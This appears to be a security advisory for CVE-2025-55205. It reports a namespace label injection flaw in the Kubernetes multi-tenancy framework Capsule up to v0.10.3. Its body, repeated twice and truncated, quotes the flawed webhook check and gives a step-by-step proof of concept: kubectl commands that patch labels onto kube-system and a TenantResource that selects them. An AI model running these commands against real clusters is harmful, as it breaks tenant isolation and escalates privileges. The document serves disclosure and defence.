CVE-2025-55205

Capsule is a multi-tenancy and policy-based framework for Kubernetes. A namespace label injection vulnerability in Capsule v0.10.3 and earlier allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. This vulnerability is fixed in 0.10.4.

Capsule is a multi-tenancy and policy-based framework for Kubernetes. A namespace label injection vulnerability in Capsule v0.10.3 and earlier allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. This vulnerability is fixed in 0.10.4.

Summary

A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.

Details

The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:

if label, ok := ns.Labels[ln]; ok {
    // Only checks permissions when namespace has tenant label
    if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {
        response := admission.Denied(e)
        return &response
    }
}

return nil  // Critical issue: allows operation if no tenant label exists

Root Cause Analysis:

1. Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the capsule.clastix.io/tenant label by default
2. Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant
3. Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces

Attack Vector Path:

Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access

This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:

• CVE-2024-39690: ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking
• This vulnerability: Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access

PoC

Prerequisites:

• Minikube cluster with Capsule v0.10.3 installed
• Authenticated tenant user with basic RBAC permissions

Step 1: Environment Setup

# Install Minikube and Capsule
minikube start
helm repo add projectcapsule https://projectcapsule.github.io/charts
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace

# Create tenant and user
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF

# Create user certificate and kubeconfig (using provided script)
./create-user-minikube.sh alice tenant1

Step 2: Label Injection Attack

# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig

# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
  {
    "op": "add",
    "path": "/metadata/labels/malicious-label",
    "value": "attack-value"
  }
]'

# Verify injection success
kubectl get namespace kube-system --show-labels

Step 3: Exploitation via TenantResource

# Create attacker-controlled namespace
kubectl create namespace alice-attack

# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: malicious-resource
  namespace: alice-attack
spec:
  resyncPeriod: 60s
  resources:
  - namespaceSelector:
      matchLabels:
        malicious-label: "attack-value"
EOF

# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml

Step 4: Verification of Impact

# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected…

Capsule is a multi-tenancy and policy-based framework for Kubernetes. A namespace label injection vulnerability in Capsule v0.10.3 and earlier allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. This vulnerability is fixed in 0.10.4.

Capsule is a multi-tenancy and policy-based framework for Kubernetes. A namespace label injection vulnerability in Capsule v0.10.3 and earlier allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. This vulnerability is fixed in 0.10.4.

Summary

A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.

Details

The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:

if label, ok := ns.Labels[ln]; ok {
    // Only checks permissions when namespace has tenant label
    if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {
        response := admission.Denied(e)
        return &response
    }
}

return nil  // Critical issue: allows operation if no tenant label exists

Root Cause Analysis:

1. Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the capsule.clastix.io/tenant label by default
2. Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant
3. Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces

Attack Vector Path:

Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access

This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:

• CVE-2024-39690: ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking
• This vulnerability: Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access

PoC

Prerequisites:

• Minikube cluster with Capsule v0.10.3 installed
• Authenticated tenant user with basic RBAC permissions

Step 1: Environment Setup

# Install Minikube and Capsule
minikube start
helm repo add projectcapsule https://projectcapsule.github.io/charts
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace

# Create tenant and user
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF

# Create user certificate and kubeconfig (using provided script)
./create-user-minikube.sh alice tenant1

Step 2: Label Injection Attack

# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig

# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
  {
    "op": "add",
    "path": "/metadata/labels/malicious-label",
    "value": "attack-value"
  }
]'

# Verify injection success
kubectl get namespace kube-system --show-labels

Step 3: Exploitation via TenantResource

# Create attacker-controlled namespace
kubectl create namespace alice-attack

# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: malicious-resource
  namespace: alice-attack
spec:
  resyncPeriod: 60s
  resources:
  - namespaceSelector:
      matchLabels:
        malicious-label: "attack-value"
EOF

# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml

Step 4: Verification of Impact

# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected…

Capsule tenant owners with "patch namespace" permission can hijack system namespaces label in github.com/projectcapsule/capsule